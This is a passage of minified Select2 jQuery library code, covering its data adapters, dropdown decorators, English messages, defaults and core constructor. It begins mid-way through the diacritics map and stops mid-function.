ẅ":"w","ẘ":"w","ẉ":"w","ⱳ":"w","ⓧ":"x","ｘ":"x","ẋ":"x","ẍ":"x","ⓨ":"y","ｙ":"y","ỳ":"y","ý":"y","ŷ":"y","ỹ":"y","ȳ":"y","ẏ":"y","ÿ":"y","ỷ":"y","ẙ":"y","ỵ":"y","ƴ":"y","ɏ":"y","ỿ":"y","ⓩ":"z","ｚ":"z","ź":"z","ẑ":"z","ż":"z","ž":"z","ẓ":"z","ẕ":"z","ƶ":"z","ȥ":"z","ɀ":"z","ⱬ":"z","ꝣ":"z","Ά":"Α","Έ":"Ε","Ή":"Η","Ί":"Ι","Ϊ":"Ι","Ό":"Ο","Ύ":"Υ","Ϋ":"Υ","Ώ":"Ω","ά":"α","έ":"ε","ή":"η","ί":"ι","ϊ":"ι","ΐ":"ι","ό":"ο","ύ":"υ","ϋ":"υ","ΰ":"υ","ώ":"ω","ς":"σ","’":"'"}}),e.define("select2/data/base",["../utils"],function(r){function n(e,t){n.__super__.constructor.call(this)}return r.Extend(n,r.Observable),n.prototype.current=function(e){throw new Error("The `current` method must be defined in child classes.")},n.prototype.query=function(e,t){throw new Error("The `query` method must be defined in child classes.")},n.prototype.bind=function(e,t){},n.prototype.destroy=function(){},n.prototype.generateResultId=function(e,t){var n=e.id+"-result-";return n+=r.generateChars(4),null!=t.id?n+="-"+t.id.toString():n+="-"+r.generateChars(4),n},n}),e.define("select2/data/select",["./base","../utils","jquery"],function(e,a,l){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return a.Extend(n,e),n.prototype.current=function(e){var n=[],r=this;this.$element.find(":selected").each(function(){var e=l(this),t=r.item(e);n.push(t)}),e(n)},n.prototype.select=function(i){var o=this;if(i.selected=!0,l(i.element).is("option"))return i.element.selected=!0,void this.$element.trigger("change");if(this.$element.prop("multiple"))this.current(function(e){var t=[];(i=[i]).push.apply(i,e);for(var n=0;n<i.length;n++){var r=i[n].id;-1===l.inArray(r,t)&&t.push(r)}o.$element.val(t),o.$element.trigger("change")});else{var e=i.id;this.$element.val(e),this.$element.trigger("change")}},n.prototype.unselect=function(i){var o=this;if(this.$element.prop("multiple")){if(i.selected=!1,l(i.element).is("option"))return i.element.selected=!1,void this.$element.trigger("change");this.current(function(e){for(var t=[],n=0;n<e.length;n++){var r=e[n].id;r!==i.id&&-1===l.inArray(r,t)&&t.push(r)}o.$element.val(t),o.$element.trigger("change")})}},n.prototype.bind=function(e,t){var n=this;(this.container=e).on("select",function(e){n.select(e.data)}),e.on("unselect",function(e){n.unselect(e.data)})},n.prototype.destroy=function(){this.$element.find("*").each(function(){a.RemoveData(this)})},n.prototype.query=function(r,e){var i=[],o=this;this.$element.children().each(function(){var e=l(this);if(e.is("option")||e.is("optgroup")){var t=o.item(e),n=o.matches(r,t);null!==n&&i.push(n)}}),e({results:i})},n.prototype.addOptions=function(e){a.appendMany(this.$element,e)},n.prototype.option=function(e){var t;e.children?(t=document.createElement("optgroup")).label=e.text:void 0!==(t=document.createElement("option")).textContent?t.textContent=e.text:t.innerText=e.text,void 0!==e.id&&(t.value=e.id),e.disabled&&(t.disabled=!0),e.selected&&(t.selected=!0),e.title&&(t.title=e.title);var n=l(t),r=this._normalizeItem(e);return r.element=t,a.StoreData(t,"data",r),n},n.prototype.item=function(e){var t={};if(null!=(t=a.GetData(e[0],"data")))return t;if(e.is("option"))t={id:e.val(),text:e.text(),disabled:e.prop("disabled"),selected:e.prop("selected"),title:e.prop("title")};else if(e.is("optgroup")){t={text:e.prop("label"),children:[],title:e.prop("title")};for(var n=e.children("option"),r=[],i=0;i<n.length;i++){var o=l(n[i]),s=this.item(o);r.push(s)}t.children=r}return(t=this._normalizeItem(t)).element=e[0],a.StoreData(e[0],"data",t),t},n.prototype._normalizeItem=function(e){e!==Object(e)&&(e={id:e,text:e});return null!=(e=l.extend({},{text:""},e)).id&&(e.id=e.id.toString()),null!=e.text&&(e.text=e.text.toString()),null==e._resultId&&e.id&&null!=this.container&&(e._resultId=this.generateResultId(this.container,e)),l.extend({},{selected:!1,disabled:!1},e)},n.prototype.matches=function(e,t){return this.options.get("matcher")(e,t)},n}),e.define("select2/data/array",["./select","../utils","jquery"],function(e,f,g){function r(e,t){this._dataToConvert=t.get("data")||[],r.__super__.constructor.call(this,e,t)}return f.Extend(r,e),r.prototype.bind=function(e,t){r.__super__.bind.call(this,e,t),this.addOptions(this.convertToOptions(this._dataToConvert))},r.prototype.select=function(n){var e=this.$element.find("option").filter(function(e,t){return t.value==n.id.toString()});0===e.length&&(e=this.option(n),this.addOptions(e)),r.__super__.select.call(this,n)},r.prototype.convertToOptions=function(e){var t=this,n=this.$element.find("option"),r=n.map(function(){return t.item(g(this)).id}).get(),i=[];function o(e){return function(){return g(this).val()==e.id}}for(var s=0;s<e.length;s++){var a=this._normalizeItem(e[s]);if(0<=g.inArray(a.id,r)){var l=n.filter(o(a)),c=this.item(l),u=g.extend(!0,{},a,c),d=this.option(u);l.replaceWith(d)}else{var p=this.option(a);if(a.children){var h=this.convertToOptions(a.children);f.appendMany(p,h)}i.push(p)}}return i},r}),e.define("select2/data/ajax",["./array","../utils","jquery"],function(e,t,o){function n(e,t){this.ajaxOptions=this._applyDefaults(t.get("ajax")),null!=this.ajaxOptions.processResults&&(this.processResults=this.ajaxOptions.processResults),n.__super__.constructor.call(this,e,t)}return t.Extend(n,e),n.prototype._applyDefaults=function(e){var t={data:function(e){return o.extend({},e,{q:e.term})},transport:function(e,t,n){var r=o.ajax(e);return r.then(t),r.fail(n),r}};return o.extend({},t,e,!0)},n.prototype.processResults=function(e){return e},n.prototype.query=function(n,r){var i=this;null!=this._request&&(o.isFunction(this._request.abort)&&this._request.abort(),this._request=null);var t=o.extend({type:"GET"},this.ajaxOptions);function e(){var e=t.transport(t,function(e){var t=i.processResults(e,n);i.options.get("debug")&&window.console&&console.error&&(t&&t.results&&o.isArray(t.results)||console.error("Select2: The AJAX results did not return an array in the `results` key of the response.")),r(t)},function(){"status"in e&&(0===e.status||"0"===e.status)||i.trigger("results:message",{message:"errorLoading"})});i._request=e}"function"==typeof t.url&&(t.url=t.url.call(this.$element,n)),"function"==typeof t.data&&(t.data=t.data.call(this.$element,n)),this.ajaxOptions.delay&&null!=n.term?(this._queryTimeout&&window.clearTimeout(this._queryTimeout),this._queryTimeout=window.setTimeout(e,this.ajaxOptions.delay)):e()},n}),e.define("select2/data/tags",["jquery"],function(u){function e(e,t,n){var r=n.get("tags"),i=n.get("createTag");void 0!==i&&(this.createTag=i);var o=n.get("insertTag");if(void 0!==o&&(this.insertTag=o),e.call(this,t,n),u.isArray(r))for(var s=0;s<r.length;s++){var a=r[s],l=this._normalizeItem(a),c=this.option(l);this.$element.append(c)}}return e.prototype.query=function(e,c,u){var d=this;this._removeOldTags(),null!=c.term&&null==c.page?e.call(this,c,function e(t,n){for(var r=t.results,i=0;i<r.length;i++){var o=r[i],s=null!=o.children&&!e({results:o.children},!0);if((o.text||"").toUpperCase()===(c.term||"").toUpperCase()||s)return!n&&(t.data=r,void u(t))}if(n)return!0;var a=d.createTag(c);if(null!=a){var l=d.option(a);l.attr("data-select2-tag",!0),d.addOptions([l]),d.insertTag(r,a)}t.results=r,u(t)}):e.call(this,c,u)},e.prototype.createTag=function(e,t){var n=u.trim(t.term);return""===n?null:{id:n,text:n}},e.prototype.insertTag=function(e,t,n){t.unshift(n)},e.prototype._removeOldTags=function(e){this.$element.find("option[data-select2-tag]").each(function(){this.selected||u(this).remove()})},e}),e.define("select2/data/tokenizer",["jquery"],function(d){function e(e,t,n){var r=n.get("tokenizer");void 0!==r&&(this.tokenizer=r),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){e.call(this,t,n),this.$search=t.dropdown.$search||t.selection.$search||n.find(".select2-search__field")},e.prototype.query=function(e,t,n){var r=this;t.term=t.term||"";var i=this.tokenizer(t,this.options,function(e){var t=r._normalizeItem(e);if(!r.$element.find("option").filter(function(){return d(this).val()===t.id}).length){var n=r.option(t);n.attr("data-select2-tag",!0),r._removeOldTags(),r.addOptions([n])}!function(e){r.trigger("select",{data:e})}(t)});i.term!==t.term&&(this.$search.length&&(this.$search.val(i.term),this.$search.trigger("focus")),t.term=i.term),e.call(this,t,n)},e.prototype.tokenizer=function(e,t,n,r){for(var i=n.get("tokenSeparators")||[],o=t.term,s=0,a=this.createTag||function(e){return{id:e.term,text:e.term}};s<o.length;){var l=o[s];if(-1!==d.inArray(l,i)){var c=o.substr(0,s),u=a(d.extend({},t,{term:c}));null!=u?(r(u),o=o.substr(s+1)||"",s=0):s++}else s++}return{term:o}},e}),e.define("select2/data/minimumInputLength",[],function(){function e(e,t,n){this.minimumInputLength=n.get("minimumInputLength"),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.term=t.term||"",t.term.length<this.minimumInputLength?this.trigger("results:message",{message:"inputTooShort",args:{minimum:this.minimumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e}),e.define("select2/data/maximumInputLength",[],function(){function e(e,t,n){this.maximumInputLength=n.get("maximumInputLength"),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.term=t.term||"",0<this.maximumInputLength&&t.term.length>this.maximumInputLength?this.trigger("results:message",{message:"inputTooLong",args:{maximum:this.maximumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e}),e.define("select2/data/maximumSelectionLength",[],function(){function e(e,t,n){this.maximumSelectionLength=n.get("maximumSelectionLength"),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),t.on("select",function(){r._checkIfMaximumSelected()})},e.prototype.query=function(e,t,n){var r=this;this._checkIfMaximumSelected(function(){e.call(r,t,n)})},e.prototype._checkIfMaximumSelected=function(e,n){var r=this;this.current(function(e){var t=null!=e?e.length:0;0<r.maximumSelectionLength&&t>=r.maximumSelectionLength?r.trigger("results:message",{message:"maximumSelected",args:{maximum:r.maximumSelectionLength}}):n&&n()})},e}),e.define("select2/dropdown",["jquery","./utils"],function(t,e){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return e.Extend(n,e.Observable),n.prototype.render=function(){var e=t('<span class="select2-dropdown"><span class="select2-results"></span></span>');return e.attr("dir",this.options.get("dir")),this.$dropdown=e},n.prototype.bind=function(){},n.prototype.position=function(e,t){},n.prototype.destroy=function(){this.$dropdown.remove()},n}),e.define("select2/dropdown/search",["jquery","../utils"],function(o,e){function t(){}return t.prototype.render=function(e){var t=e.call(this),n=o('<span class="select2-search select2-search--dropdown"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="searchbox" aria-autocomplete="list" /></span>');return this.$searchContainer=n,this.$search=n.find("input"),t.prepend(n),t},t.prototype.bind=function(e,t,n){var r=this,i=t.id+"-results";e.call(this,t,n),this.$search.on("keydown",function(e){r.trigger("keypress",e),r._keyUpPrevented=e.isDefaultPrevented()}),this.$search.on("input",function(e){o(this).off("keyup")}),this.$search.on("keyup input",function(e){r.handleSearch(e)}),t.on("open",function(){r.$search.attr("tabindex",0),r.$search.attr("aria-controls",i),r.$search.trigger("focus"),window.setTimeout(function(){r.$search.trigger("focus")},0)}),t.on("close",function(){r.$search.attr("tabindex",-1),r.$search.removeAttr("aria-controls"),r.$search.removeAttr("aria-activedescendant"),r.$search.val(""),r.$search.trigger("blur")}),t.on("focus",function(){t.isOpen()||r.$search.trigger("focus")}),t.on("results:all",function(e){null!=e.query.term&&""!==e.query.term||(r.showSearch(e)?r.$searchContainer.removeClass("select2-search--hide"):r.$searchContainer.addClass("select2-search--hide"))}),t.on("results:focus",function(e){e.data._resultId?r.$search.attr("aria-activedescendant",e.data._resultId):r.$search.removeAttr("aria-activedescendant")})},t.prototype.handleSearch=function(e){if(!this._keyUpPrevented){var t=this.$search.val();this.trigger("query",{term:t})}this._keyUpPrevented=!1},t.prototype.showSearch=function(e,t){return!0},t}),e.define("select2/dropdown/hidePlaceholder",[],function(){function e(e,t,n,r){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n,r)}return e.prototype.append=function(e,t){t.results=this.removePlaceholder(t.results),e.call(this,t)},e.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},e.prototype.removePlaceholder=function(e,t){for(var n=t.slice(0),r=t.length-1;0<=r;r--){var i=t[r];this.placeholder.id===i.id&&n.splice(r,1)}return n},e}),e.define("select2/dropdown/infiniteScroll",["jquery"],function(n){function e(e,t,n,r){this.lastParams={},e.call(this,t,n,r),this.$loadingMore=this.createLoadingMore(),this.loading=!1}return e.prototype.append=function(e,t){this.$loadingMore.remove(),this.loading=!1,e.call(this,t),this.showLoadingMore(t)&&(this.$results.append(this.$loadingMore),this.loadMoreIfNeeded())},e.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),t.on("query",function(e){r.lastParams=e,r.loading=!0}),t.on("query:append",function(e){r.lastParams=e,r.loading=!0}),this.$results.on("scroll",this.loadMoreIfNeeded.bind(this))},e.prototype.loadMoreIfNeeded=function(){var e=n.contains(document.documentElement,this.$loadingMore[0]);if(!this.loading&&e){var t=this.$results.offset().top+this.$results.outerHeight(!1);this.$loadingMore.offset().top+this.$loadingMore.outerHeight(!1)<=t+50&&this.loadMore()}},e.prototype.loadMore=function(){this.loading=!0;var e=n.extend({},{page:1},this.lastParams);e.page++,this.trigger("query:append",e)},e.prototype.showLoadingMore=function(e,t){return t.pagination&&t.pagination.more},e.prototype.createLoadingMore=function(){var e=n('<li class="select2-results__option select2-results__option--load-more"role="option" aria-disabled="true"></li>'),t=this.options.get("translations").get("loadingMore");return e.html(t(this.lastParams)),e},e}),e.define("select2/dropdown/attachBody",["jquery","../utils"],function(f,a){function e(e,t,n){this.$dropdownParent=f(n.get("dropdownParent")||document.body),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),t.on("open",function(){r._showDropdown(),r._attachPositioningHandler(t),r._bindContainerResultHandlers(t)}),t.on("close",function(){r._hideDropdown(),r._detachPositioningHandler(t)}),this.$dropdownContainer.on("mousedown",function(e){e.stopPropagation()})},e.prototype.destroy=function(e){e.call(this),this.$dropdownContainer.remove()},e.prototype.position=function(e,t,n){t.attr("class",n.attr("class")),t.removeClass("select2"),t.addClass("select2-container--open"),t.css({position:"absolute",top:-999999}),this.$container=n},e.prototype.render=function(e){var t=f("<span></span>"),n=e.call(this);return t.append(n),this.$dropdownContainer=t},e.prototype._hideDropdown=function(e){this.$dropdownContainer.detach()},e.prototype._bindContainerResultHandlers=function(e,t){if(!this._containerResultsHandlersBound){var n=this;t.on("results:all",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("results:append",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("results:message",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("select",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("unselect",function(){n._positionDropdown(),n._resizeDropdown()}),this._containerResultsHandlersBound=!0}},e.prototype._attachPositioningHandler=function(e,t){var n=this,r="scroll.select2."+t.id,i="resize.select2."+t.id,o="orientationchange.select2."+t.id,s=this.$container.parents().filter(a.hasScroll);s.each(function(){a.StoreData(this,"select2-scroll-position",{x:f(this).scrollLeft(),y:f(this).scrollTop()})}),s.on(r,function(e){var t=a.GetData(this,"select2-scroll-position");f(this).scrollTop(t.y)}),f(window).on(r+" "+i+" "+o,function(e){n._positionDropdown(),n._resizeDropdown()})},e.prototype._detachPositioningHandler=function(e,t){var n="scroll.select2."+t.id,r="resize.select2."+t.id,i="orientationchange.select2."+t.id;this.$container.parents().filter(a.hasScroll).off(n),f(window).off(n+" "+r+" "+i)},e.prototype._positionDropdown=function(){var e=f(window),t=this.$dropdown.hasClass("select2-dropdown--above"),n=this.$dropdown.hasClass("select2-dropdown--below"),r=null,i=this.$container.offset();i.bottom=i.top+this.$container.outerHeight(!1);var o={height:this.$container.outerHeight(!1)};o.top=i.top,o.bottom=i.top+o.height;var s=this.$dropdown.outerHeight(!1),a=e.scrollTop(),l=e.scrollTop()+e.height(),c=a<i.top-s,u=l>i.bottom+s,d={left:i.left,top:o.bottom},p=this.$dropdownParent;"static"===p.css("position")&&(p=p.offsetParent());var h=p.offset();d.top-=h.top,d.left-=h.left,t||n||(r="below"),u||!c||t?!c&&u&&t&&(r="below"):r="above",("above"==r||t&&"below"!==r)&&(d.top=o.top-h.top-s),null!=r&&(this.$dropdown.removeClass("select2-dropdown--below select2-dropdown--above").addClass("select2-dropdown--"+r),this.$container.removeClass("select2-container--below select2-container--above").addClass("select2-container--"+r)),this.$dropdownContainer.css(d)},e.prototype._resizeDropdown=function(){var e={width:this.$container.outerWidth(!1)+"px"};this.options.get("dropdownAutoWidth")&&(e.minWidth=e.width,e.position="relative",e.width="auto"),this.$dropdown.css(e)},e.prototype._showDropdown=function(e){this.$dropdownContainer.appendTo(this.$dropdownParent),this._positionDropdown(),this._resizeDropdown()},e}),e.define("select2/dropdown/minimumResultsForSearch",[],function(){function e(e,t,n,r){this.minimumResultsForSearch=n.get("minimumResultsForSearch"),this.minimumResultsForSearch<0&&(this.minimumResultsForSearch=1/0),e.call(this,t,n,r)}return e.prototype.showSearch=function(e,t){return!(function e(t){for(var n=0,r=0;r<t.length;r++){var i=t[r];i.children?n+=e(i.children):n++}return n}(t.data.results)<this.minimumResultsForSearch)&&e.call(this,t)},e}),e.define("select2/dropdown/selectOnClose",["../utils"],function(o){function e(){}return e.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),t.on("close",function(e){r._handleSelectOnClose(e)})},e.prototype._handleSelectOnClose=function(e,t){if(t&&null!=t.originalSelect2Event){var n=t.originalSelect2Event;if("select"===n._type||"unselect"===n._type)return}var r=this.getHighlightedResults();if(!(r.length<1)){var i=o.GetData(r[0],"data");null!=i.element&&i.element.selected||null==i.element&&i.selected||this.trigger("select",{data:i})}},e}),e.define("select2/dropdown/closeOnSelect",[],function(){function e(){}return e.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),t.on("select",function(e){r._selectTriggered(e)}),t.on("unselect",function(e){r._selectTriggered(e)})},e.prototype._selectTriggered=function(e,t){var n=t.originalEvent;n&&(n.ctrlKey||n.metaKey)||this.trigger("close",{originalEvent:n,originalSelect2Event:t})},e}),e.define("select2/i18n/en",[],function(){return{errorLoading:function(){return"The results could not be loaded."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Please delete "+t+" character";return 1!=t&&(n+="s"),n},inputTooShort:function(e){return"Please enter "+(e.minimum-e.input.length)+" or more characters"},loadingMore:function(){return"Loading more results…"},maximumSelected:function(e){var t="You can only select "+e.maximum+" item";return 1!=e.maximum&&(t+="s"),t},noResults:function(){return"No results found"},searching:function(){return"Searching…"},removeAllItems:function(){return"Remove all items"}}}),e.define("select2/defaults",["jquery","require","./results","./selection/single","./selection/multiple","./selection/placeholder","./selection/allowClear","./selection/search","./selection/eventRelay","./utils","./translation","./diacritics","./data/select","./data/array","./data/ajax","./data/tags","./data/tokenizer","./data/minimumInputLength","./data/maximumInputLength","./data/maximumSelectionLength","./dropdown","./dropdown/search","./dropdown/hidePlaceholder","./dropdown/infiniteScroll","./dropdown/attachBody","./dropdown/minimumResultsForSearch","./dropdown/selectOnClose","./dropdown/closeOnSelect","./i18n/en"],function(c,u,d,p,h,f,g,m,v,y,s,t,_,$,w,b,A,x,D,S,E,C,O,T,q,L,I,j,e){function n(){this.reset()}return n.prototype.apply=function(e){if(null==(e=c.extend(!0,{},this.defaults,e)).dataAdapter){if(null!=e.ajax?e.dataAdapter=w:null!=e.data?e.dataAdapter=$:e.dataAdapter=_,0<e.minimumInputLength&&(e.dataAdapter=y.Decorate(e.dataAdapter,x)),0<e.maximumInputLength&&(e.dataAdapter=y.Decorate(e.dataAdapter,D)),0<e.maximumSelectionLength&&(e.dataAdapter=y.Decorate(e.dataAdapter,S)),e.tags&&(e.dataAdapter=y.Decorate(e.dataAdapter,b)),null==e.tokenSeparators&&null==e.tokenizer||(e.dataAdapter=y.Decorate(e.dataAdapter,A)),null!=e.query){var t=u(e.amdBase+"compat/query");e.dataAdapter=y.Decorate(e.dataAdapter,t)}if(null!=e.initSelection){var n=u(e.amdBase+"compat/initSelection");e.dataAdapter=y.Decorate(e.dataAdapter,n)}}if(null==e.resultsAdapter&&(e.resultsAdapter=d,null!=e.ajax&&(e.resultsAdapter=y.Decorate(e.resultsAdapter,T)),null!=e.placeholder&&(e.resultsAdapter=y.Decorate(e.resultsAdapter,O)),e.selectOnClose&&(e.resultsAdapter=y.Decorate(e.resultsAdapter,I))),null==e.dropdownAdapter){if(e.multiple)e.dropdownAdapter=E;else{var r=y.Decorate(E,C);e.dropdownAdapter=r}if(0!==e.minimumResultsForSearch&&(e.dropdownAdapter=y.Decorate(e.dropdownAdapter,L)),e.closeOnSelect&&(e.dropdownAdapter=y.Decorate(e.dropdownAdapter,j)),null!=e.dropdownCssClass||null!=e.dropdownCss||null!=e.adaptDropdownCssClass){var i=u(e.amdBase+"compat/dropdownCss");e.dropdownAdapter=y.Decorate(e.dropdownAdapter,i)}e.dropdownAdapter=y.Decorate(e.dropdownAdapter,q)}if(null==e.selectionAdapter){if(e.multiple?e.selectionAdapter=h:e.selectionAdapter=p,null!=e.placeholder&&(e.selectionAdapter=y.Decorate(e.selectionAdapter,f)),e.allowClear&&(e.selectionAdapter=y.Decorate(e.selectionAdapter,g)),e.multiple&&(e.selectionAdapter=y.Decorate(e.selectionAdapter,m)),null!=e.containerCssClass||null!=e.containerCss||null!=e.adaptContainerCssClass){var o=u(e.amdBase+"compat/containerCss");e.selectionAdapter=y.Decorate(e.selectionAdapter,o)}e.selectionAdapter=y.Decorate(e.selectionAdapter,v)}e.language=this._resolveLanguage(e.language),e.language.push("en");for(var s=[],a=0;a<e.language.length;a++){var l=e.language[a];-1===s.indexOf(l)&&s.push(l)}return e.language=s,e.translations=this._processTranslations(e.language,e.debug),e},n.prototype.reset=function(){function a(e){return e.replace(/[^\u0000-\u007E]/g,function(e){return t[e]||e})}this.defaults={amdBase:"./",amdLanguageBase:"./i18n/",closeOnSelect:!0,debug:!1,dropdownAutoWidth:!1,escapeMarkup:y.escapeMarkup,language:{},matcher:function e(t,n){if(""===c.trim(t.term))return n;if(n.children&&0<n.children.length){for(var r=c.extend(!0,{},n),i=n.children.length-1;0<=i;i--)null==e(t,n.children[i])&&r.children.splice(i,1);return 0<r.children.length?r:e(t,r)}var o=a(n.text).toUpperCase(),s=a(t.term).toUpperCase();return-1<o.indexOf(s)?n:null},minimumInputLength:0,maximumInputLength:0,maximumSelectionLength:0,minimumResultsForSearch:0,selectOnClose:!1,scrollAfterSelect:!1,sorter:function(e){return e},templateResult:function(e){return e.text},templateSelection:function(e){return e.text},theme:"default",width:"resolve"}},n.prototype.applyFromElement=function(e,t){var n=e.language,r=this.defaults.language,i=t.prop("lang"),o=t.closest("[lang]").prop("lang"),s=Array.prototype.concat.call(this._resolveLanguage(i),this._resolveLanguage(n),this._resolveLanguage(r),this._resolveLanguage(o));return e.language=s,e},n.prototype._resolveLanguage=function(e){if(!e)return[];if(c.isEmptyObject(e))return[];if(c.isPlainObject(e))return[e];var t;t=c.isArray(e)?e:[e];for(var n=[],r=0;r<t.length;r++)if(n.push(t[r]),"string"==typeof t[r]&&0<t[r].indexOf("-")){var i=t[r].split("-")[0];n.push(i)}return n},n.prototype._processTranslations=function(e,t){for(var n=new s,r=0;r<e.length;r++){var i=new s,o=e[r];if("string"==typeof o)try{i=s.loadPath(o)}catch(e){try{o=this.defaults.amdLanguageBase+o,i=s.loadPath(o)}catch(e){t&&window.console&&console.warn&&console.warn('Select2: The language file for "'+o+'" could not be automatically loaded. A fallback will be used instead.')}}else i=c.isPlainObject(o)?new s(o):o;n.extend(i)}return n},n.prototype.set=function(e,t){var n={};n[c.camelCase(e)]=t;var r=y._convertData(n);c.extend(!0,this.defaults,r)},new n}),e.define("select2/options",["require","jquery","./defaults","./utils"],function(r,d,i,p){function e(e,t){if(this.options=e,null!=t&&this.fromElement(t),null!=t&&(this.options=i.applyFromElement(this.options,t)),this.options=i.apply(this.options),t&&t.is("input")){var n=r(this.get("amdBase")+"compat/inputData");this.options.dataAdapter=p.Decorate(this.options.dataAdapter,n)}}return e.prototype.fromElement=function(e){var t=["select2"];null==this.options.multiple&&(this.options.multiple=e.prop("multiple")),null==this.options.disabled&&(this.options.disabled=e.prop("disabled")),null==this.options.dir&&(e.prop("dir")?this.options.dir=e.prop("dir"):e.closest("[dir]").prop("dir")?this.options.dir=e.closest("[dir]").prop("dir"):this.options.dir="ltr"),e.prop("disabled",this.options.disabled),e.prop("multiple",this.options.multiple),p.GetData(e[0],"select2Tags")&&(this.options.debug&&window.console&&console.warn&&console.warn('Select2: The `data-select2-tags` attribute has been changed to use the `data-data` and `data-tags="true"` attributes and will be removed in future versions of Select2.'),p.StoreData(e[0],"data",p.GetData(e[0],"select2Tags")),p.StoreData(e[0],"tags",!0)),p.GetData(e[0],"ajaxUrl")&&(this.options.debug&&window.console&&console.warn&&console.warn("Select2: The `data-ajax-url` attribute has been changed to `data-ajax--url` and support for the old attribute will be removed in future versions of Select2."),e.attr("ajax--url",p.GetData(e[0],"ajaxUrl")),p.StoreData(e[0],"ajax-Url",p.GetData(e[0],"ajaxUrl")));var n={};function r(e,t){return t.toUpperCase()}for(var i=0;i<e[0].attributes.length;i++){var o=e[0].attributes[i].name,s="data-";if(o.substr(0,s.length)==s){var a=o.substring(s.length),l=p.GetData(e[0],a);n[a.replace(/-([a-z])/g,r)]=l}}d.fn.jquery&&"1."==d.fn.jquery.substr(0,2)&&e[0].dataset&&(n=d.extend(!0,{},e[0].dataset,n));var c=d.extend(!0,{},p.GetData(e[0]),n);for(var u in c=p._convertData(c))-1<d.inArray(u,t)||(d.isPlainObject(this.options[u])?d.extend(this.options[u],c[u]):this.options[u]=c[u]);return this},e.prototype.get=function(e){return this.options[e]},e.prototype.set=function(e,t){this.options[e]=t},e}),e.define("select2/core",["jquery","./options","./utils","./keys"],function(i,c,u,r){var d=function(e,t){null!=u.GetData(e[0],"select2")&&u.GetData(e[0],"select2").destroy(),this.$element=e,this.id=this._generateId(e),t=t||{},this.options=new c(t,e),d.__super__.constructor.call(this);var n=e.attr("tabindex")||0;u.StoreData(e[0],"old-tabindex",n),e.attr("tabindex","-1");var r=this.options.get("dataAdapter");this.dataAdapter=new r(e,this.options);var i=this.render();this._placeContainer(i);var o=this.options.get("selectionAdapter");this.selection=new o(e,this.options),this.$selection=this.selection.render(),this.selection.position(this.$selection,i);var s=this.options.get("dropdownAdapter");this.dropdown=new s(e,this.options),this.$dropdown=this.dropdown.render(),this.dropdown.position(this.$dropdown,i);var a=this.options.get("resultsAdapter");this.results=new a(e,this.options,this.dataAdapter),this.$results=this.results.render(),this.results.position(this.$results,this.$dropdown);var l=this;this._bindAdapters(),this._registerDomEvents(),this._registerDataEvents(),this._registerSelectionEvents(),this._registerDropdownEvents(),this._registerResultsEvents(),this._registerEvents(),this.dataAdapter.current(function(e){l.trigger("selection:update",{data:e})}),e.addClass("select2-hidden-accessible"),e.attr("aria-hidden","true"),this._syncAttributes(),u.StoreData(e[0],"select2",this),e.data("select2",this)};return u.Extend(d,u.Observable),d.prototype._generateId=function(e){return"select2-"+(null!=e.attr("id")?e.attr("id"):null!=e.attr("name")?e.attr("name")+"-"+u.generateChars(2):u.generateChars(4)).replace(/(:|\.|\[|\]|,)/g,"")},d.prototype._placeContainer=function(e){e.insertAfter(this.$element);var t=this._resolveWidth(this.$element,this.options.get("width"));null!=t&&e.css("width",t)},d.prototype._resolveWidth=function(e,t){var n=/^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;if("resolve"==t){var r=this._resolveWidth(e,"style");return null!=r?r:this._resolveWidth(e,"element")}if("element"==t){var i=e.outerWidth(!1);return i<=0?"auto":i+"px"}if("style"!=t)return"computedstyle"!=t?t:window.getComputedStyle(e[0]).width;var o=e.attr("style");if("string"!=typeof o)return null;for(var s=o.split(";"),a=0,l=s.length;a<l;a+=1){var c=s[a].replace(/\s/g,"").match(n);if(null!==c&&1<=c.length)return c[1]}return null},d.prototype._bindAdapters=function(){this.dataAdapter.bind(this,this.$container),this.selection.bind(this,this.$container),this.dropdown.bind(this,this.$container),this.results.bind(this,this.$container)},d.prototype._registerDomEvents=function(){var t=this;this.$element.on("change.select2",function(){t.dataAdapter.current(function(e){t.trigger("selection:update",{data:e})})}),this.$element.on("focus.select2",function(e){t.trigger("focus",e)}),this._syncA=u.bind(this._syncAttributes,this),this._syncS=u.bind(this._syncSubtree,this),this.$element[0].attachEvent&&this.$element[0].attachEvent("onpropertychange",this._syncA);var e=window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver;null!=e?(this._observer=new e(function(e){i.each(e,t._syncA),i.each(e,t._syncS)}),this._observer.observe(this.$element[0],{attributes:!0,childList:!0,subtree:!1})):this.$element[0].addEventListener&&(this.$element[0].addEventListener("DOMAttrModified",t._syncA,!1),this.$element[0].addEventListener("DOMNodeInserted",t._syncS,!1),this.$element[0].addEventListener("DOMNodeRemoved",t._syncS,!1))},d.prototype._registerDataEvents=function(){var n=this;this.dataAdapter.on("*",function(e,t){n.trigger(e,t)})},d.prototype._registerSelectionEvents=function(){var n=this,r=["toggle","focus"];this.selection.on("toggle",function(){n.toggleDropdown()}),this.selection.on("focus",function(e){n.focus(e)}),this.selection.on("*",function(e,t){-1===i.inArray(e,r)&&n.trigger(e,t)})},d.prototype._registerDropdownEvents=function(){var n=this;this.dropdown.on("*",function(e,t){n.trigger(e,t)})},d.prototype._registerResultsEvents=function(){var 